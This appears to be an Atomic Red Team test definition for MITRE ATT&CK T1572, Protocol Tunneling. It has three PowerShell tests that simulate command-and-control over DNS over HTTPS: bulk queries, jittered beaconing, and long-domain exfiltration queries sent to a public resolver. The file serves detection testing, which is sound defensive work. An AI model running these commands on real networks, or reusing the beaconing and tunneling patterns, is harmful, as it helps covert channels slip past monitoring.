attack_technique: T1572
display_name: 'Protocol Tunneling'
atomic_tests:
- name: DNS over HTTPS Large Query Volume
  auto_generated_guid: ae9ef4b0-d8c1-49d4-8758-06206f19af0a
  description: |
    This test simulates an infected host sending a large volume of DoH queries to a command and control server.
    The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain.
    A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
  supported_platforms:
  - windows
  input_arguments:
    doh_server:
      description: Default DoH resolver
      type: String
      default: https://8.8.8.8/resolve
    query_type:
      description: DNS query type
      type: String
      default: TXT
    subdomain:
      description: Subdomain prepended to the domain name
      type: String
      default: atomicredteam
    query_volume:
      description: Number of DNS queries to send
      type: Integer
      default: "1000"
    domain:
      description: Default domain to simulate against
      type: String
      default: 127.0.0.1.xip.io
  executor:
    command: |
      for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content }
    name: powershell
- name: DNS over HTTPS Regular Beaconing
  auto_generated_guid: 0c5f9705-c575-42a6-9609-cbbff4b2fc9b
  description: |
    This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.
    This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
    A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
  supported_platforms:
  - windows
  input_arguments:
    doh_server:
      description: Default DoH resolver
      type: String
      default: https://8.8.8.8/resolve
    runtime:
      description: Time in minutes to run the simulation
      type: Integer
      default: 30
    domain:
      description: Default domain to simulate against
      type: String
      default: 127.0.0.1.xip.io
    subdomain:
      description: Subdomain prepended to the domain name
      type: String
      default: atomicredteam
    query_type:
      description: DNS query type
      type: String
      default: TXT
    c2_interval:
      description: Seconds between C2 requests to the command and control server
      type: Integer
      default: 30
    c2_jitter:
      description: Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests
      type: Integer
      default: 20
  executor:
    command: |
      Set-Location PathToAtomicsFolder
      .\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
    name: powershell
- name: DNS over HTTPS Long Domain Query
  auto_generated_guid: 748a73d5-cea4-4f34-84d8-839da5baa99c
  description: |
    This test simulates an infected host returning data to a command and control server using long domain names.
    The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.
     Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
  supported_platforms:
  - windows
  input_arguments:
    doh_server:
      description: Default DoH resolver
      type: String
      default: https://8.8.8.8/resolve
    query_type:
      description: DNS query type
      type: String
      default: TXT
    subdomain:
      description: Subdomain prepended to the domain name (should be 63 characters to test maximum length)
      type: String
      default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte
    domain:
      description: Default domain to simulate against
      type: String
      default: 127.0.0.1.xip.io
  executor:
    command: |
      Set-Location PathToAtomicsFolder
      .\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
    name: powershell
